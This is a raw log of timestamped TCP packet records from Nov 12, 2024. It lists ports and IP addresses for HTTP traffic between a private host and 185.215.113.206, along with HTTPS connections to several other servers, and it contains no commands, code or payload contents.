Nov 12, 2024 08:30:35.841434956 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.841448069 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.841458082 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.841466904 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.841470003 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.841481924 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.841485023 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.841511011 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.841809034 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.841820002 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.841830969 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.841842890 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.841861010 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.841886997 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.063076973 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.063091993 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.063139915 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.063950062 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.063962936 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.063971996 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.063994884 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.064004898 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.064018011 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.064024925 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.064028978 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.064068079 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.064162016 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.091280937 CET	49865	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.091335058 CET	443	49865	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.091396093 CET	49865	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.091991901 CET	49866	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.092030048 CET	443	49866	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.092093945 CET	49866	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.093317986 CET	49867	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.093336105 CET	443	49867	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.093885899 CET	49867	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.094424963 CET	49868	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.094458103 CET	443	49868	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.094608068 CET	49869	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.094639063 CET	49868	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.094644070 CET	443	49869	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.094801903 CET	49865	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.094813108 CET	443	49865	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.094830990 CET	49869	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.095519066 CET	49866	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.095541954 CET	443	49866	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.095639944 CET	49867	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.095649958 CET	443	49867	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.095807076 CET	49868	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.095823050 CET	443	49868	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.095933914 CET	49869	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.095946074 CET	443	49869	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.137132883 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.142016888 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.183284998 CET	49870	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:36.183346033 CET	443	49870	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:36.183429956 CET	49870	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:36.183855057 CET	49871	443	192.168.2.5	20.125.209.212
Nov 12, 2024 08:30:36.183912039 CET	443	49871	20.125.209.212	192.168.2.5
Nov 12, 2024 08:30:36.184077978 CET	49871	443	192.168.2.5	20.125.209.212
Nov 12, 2024 08:30:36.184483051 CET	49872	443	192.168.2.5	3.170.115.68
Nov 12, 2024 08:30:36.184516907 CET	443	49872	3.170.115.68	192.168.2.5
Nov 12, 2024 08:30:36.184573889 CET	49872	443	192.168.2.5	3.170.115.68
Nov 12, 2024 08:30:36.185662031 CET	49870	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:36.185678005 CET	443	49870	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:36.186032057 CET	49871	443	192.168.2.5	20.125.209.212
Nov 12, 2024 08:30:36.186053038 CET	443	49871	20.125.209.212	192.168.2.5
Nov 12, 2024 08:30:36.186167955 CET	49872	443	192.168.2.5	3.170.115.68
Nov 12, 2024 08:30:36.186184883 CET	443	49872	3.170.115.68	192.168.2.5
Nov 12, 2024 08:30:36.197468042 CET	443	49859	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.200463057 CET	49873	443	192.168.2.5	20.99.186.246
Nov 12, 2024 08:30:36.200505018 CET	443	49873	20.99.186.246	192.168.2.5
Nov 12, 2024 08:30:36.200617075 CET	49873	443	192.168.2.5	20.99.186.246
Nov 12, 2024 08:30:36.201548100 CET	49873	443	192.168.2.5	20.99.186.246
Nov 12, 2024 08:30:36.201560974 CET	443	49873	20.99.186.246	192.168.2.5
Nov 12, 2024 08:30:36.246946096 CET	49859	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.261059999 CET	49859	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.261079073 CET	443	49859	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.261503935 CET	49859	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.261509895 CET	443	49859	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.338876963 CET	443	49861	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.350034952 CET	443	49860	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.387072086 CET	443	49859	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.387614965 CET	443	49859	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.387679100 CET	49859	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.392302036 CET	443	49862	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.396296978 CET	49860	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.399184942 CET	49861	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.412456036 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.412517071 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.412532091 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.412533045 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.412573099 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.412584066 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.412703991 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.412717104 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.412734032 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.412765980 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.412802935 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.413011074 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.413074017 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.413237095 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.413249969 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.413263083 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.413275003 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.413289070 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.413301945 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.413310051 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.413315058 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.413342953 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.413342953 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.413357973 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.413907051 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.413925886 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.413938046 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.413949966 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.413961887 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.413975954 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.413986921 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.413988113 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.413988113 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.413997889 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.414031029 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.414031029 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.414870977 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.414884090 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.414894104 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.414906979 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.414920092 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.414931059 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.414932966 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.414947987 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.414958954 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.414963961 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.414977074 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.414985895 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.415030003 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.415030003 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.415764093 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.415776968 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.415787935 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.415802002 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.415812969 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.415826082 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.415838003 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.415841103 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.415849924 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.415885925 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.415885925 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.431998014 CET	49862	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.438714981 CET	49860	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.438724041 CET	443	49860	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.438754082 CET	49862	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.438756943 CET	443	49862	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.439378977 CET	49860	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.439388037 CET	443	49860	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.439490080 CET	49862	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.439495087 CET	443	49862	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.439714909 CET	49861	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.439726114 CET	443	49861	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.439904928 CET	49859	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.439930916 CET	443	49859	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.439944029 CET	49859	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.439949989 CET	443	49859	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.440193892 CET	49861	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.440201044 CET	443	49861	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.466411114 CET	49874	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.466461897 CET	443	49874	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.468548059 CET	49874	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.471539021 CET	49874	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.471554995 CET	443	49874	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.496110916 CET	443	49830	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:36.496139050 CET	443	49830	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:36.496155024 CET	443	49830	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:36.496263981 CET	49830	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:36.496285915 CET	443	49830	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:36.496334076 CET	49830	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:36.496340036 CET	443	49830	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:36.496367931 CET	443	49830	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:36.496409893 CET	49830	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:36.496752024 CET	49830	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:36.496764898 CET	443	49830	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:36.496774912 CET	49830	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:36.496778965 CET	443	49830	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:36.508414984 CET	443	49863	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.508856058 CET	49863	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.508883953 CET	443	49863	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.509310961 CET	443	49863	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.510651112 CET	49863	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.510756969 CET	443	49863	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.510839939 CET	49863	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.529459953 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.529522896 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.529536963 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.529536009 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.529580116 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.529696941 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.529781103 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.529793978 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.529804945 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.529817104 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.529818058 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.529835939 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.529869080 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.530277967 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.530289888 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.530308008 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.530318975 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.530330896 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.530342102 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.530343056 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.530344009 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.530354977 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.530365944 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.530383110 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.530412912 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.530881882 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.530896902 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.530936956 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.531109095 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.531121969 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.531132936 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.531162977 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.531177044 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.531181097 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.531181097 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.531188011 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.531199932 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.531212091 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.531220913 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.531241894 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.531255960 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.532067060 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.532093048 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.532105923 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.532120943 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.532131910 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.532145977 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.532157898 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.532167912 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.532193899 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.532193899 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.532668114 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.532680988 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.532692909 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.532706022 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.532720089 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.532738924 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.532743931 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.532751083 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.532763004 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.532810926 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.532810926 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.533576965 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.533596992 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.533608913 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.533622980 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.533628941 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.533636093 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.533648014 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.533660889 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.533663988 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.533674002 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.533684969 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.533696890 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.533700943 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.533700943 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.533724070 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.533745050 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.534475088 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.534488916 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.534502029 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.534516096 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.534528017 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.534538984 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.534538984 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.534540892 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.534559965 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.534571886 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.534588099 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.534588099 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.534604073 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.535321951 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.535341024 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.535353899 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.535384893 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.535410881 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.546232939 CET	443	49864	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.546699047 CET	49864	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.546730995 CET	443	49864	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.547128916 CET	49864	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.547133923 CET	443	49864	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.555341959 CET	443	49863	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.556499958 CET	49863	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.563442945 CET	443	49861	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.563529015 CET	443	49861	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.563633919 CET	49861	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.563987017 CET	49861	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.564006090 CET	443	49861	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.564018965 CET	49861	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.564026117 CET	443	49861	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.565165043 CET	443	49860	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.565243959 CET	443	49860	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.565327883 CET	49860	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.565927982 CET	49860	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.565944910 CET	443	49860	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.565953970 CET	49860	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.565958977 CET	443	49860	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.576174021 CET	443	49862	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.578896046 CET	49875	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.578938007 CET	443	49875	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.579000950 CET	49875	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.579113960 CET	49875	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.579124928 CET	443	49875	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.579324007 CET	49876	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.579365969 CET	443	49876	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.579484940 CET	49876	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.579776049 CET	49876	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.579796076 CET	443	49876	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.579982042 CET	443	49862	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.580033064 CET	49862	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.580046892 CET	49862	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.580051899 CET	443	49862	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.580060005 CET	49862	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.580063105 CET	443	49862	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.582859039 CET	49877	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.582882881 CET	443	49877	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.583019018 CET	49877	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.583292007 CET	49877	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.583308935 CET	443	49877	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.593463898 CET	49878	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:36.593503952 CET	443	49878	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:36.593564034 CET	49878	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:36.593727112 CET	49879	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:36.593741894 CET	443	49879	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:36.593911886 CET	49879	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:36.593913078 CET	49880	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:36.593940020 CET	443	49880	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:36.594069958 CET	49880	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:36.594118118 CET	49881	443	192.168.2.5	23.47.50.150
